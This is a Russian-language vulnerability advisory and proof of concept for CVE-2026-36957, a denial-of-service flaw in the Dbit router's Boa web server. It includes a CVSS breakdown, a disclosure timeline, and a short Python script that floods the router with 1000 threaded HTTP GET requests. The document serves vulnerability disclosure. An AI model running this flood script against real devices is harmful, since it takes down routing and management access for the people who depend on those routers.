
Доказательство концепции для CVE-2026-36957 — уязвимости типа «отказ в обслуживании» в прошивке маршрутизатора Dbit, вызванной HTTP-флудом на веб-сервер Boa, что приводит к исчерпанию ресурсов и зависанию системы.
CVE ID: CVE-2026-36957 Дата: 2026-04-29 Исследователь: Kirubel Solomne Производитель: Shenzhen Dibit Network Equipment Co., Ltd. Продукт: Dbit Router Версия прошивки: V1.0.0 CWE: CWE-400 — Неконтролируемое потребление ресурсов
Прошивка V1.0.0 маршрутизатора Dbit Router уязвима к отказу в обслуживании через обработчик URI веб-сервера Boa. Отправляя высокоинтенсивный флуд HTTP GET-запросов на несуществующие URI, злоумышленник может исчерпать критически важные системные ресурсы, включая файловые дескрипторы и буферы памяти. Это приводит к взаимоблокировке ядра или зависанию системы, что отключает веб-портал управления и все функции маршрутизации.
Оценка CVSS v3.1: 7.5 (Высокая)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Метрика | Значение |
|---|
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Влияние на конфиденциальность | Отсутствует |
| Влияние на целостность | Отсутствует |
| Влияние на доступность | Высокое |
import requests
import threading
TARGET = "http://192.168.10.1"
def flood(i):
try:
requests.get(f"{TARGET}/nonexistent_{i}", timeout=2)
except:
pass
threads = []
for i in range(1000):
t = threading.Thread(target=flood, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("Done. Check if router is still responsive.")
Ожидаемое поведение: Сервер должен ограничивать количество соединений и оставаться стабильным. Фактическое поведение: Веб-интерфейс маршрутизатора перестаёт отвечать; требуется ручная перезагрузка.
| Дата | Событие |
|---|---|
| 2026-04-29 | Уязвимость обнаружена |
| 2026-04-29 | Сообщено в MITRE |
| 2026-04-29 | Присвоен CVE-2026-36957 |
| 2026-04-29 | Публичное раскрытие |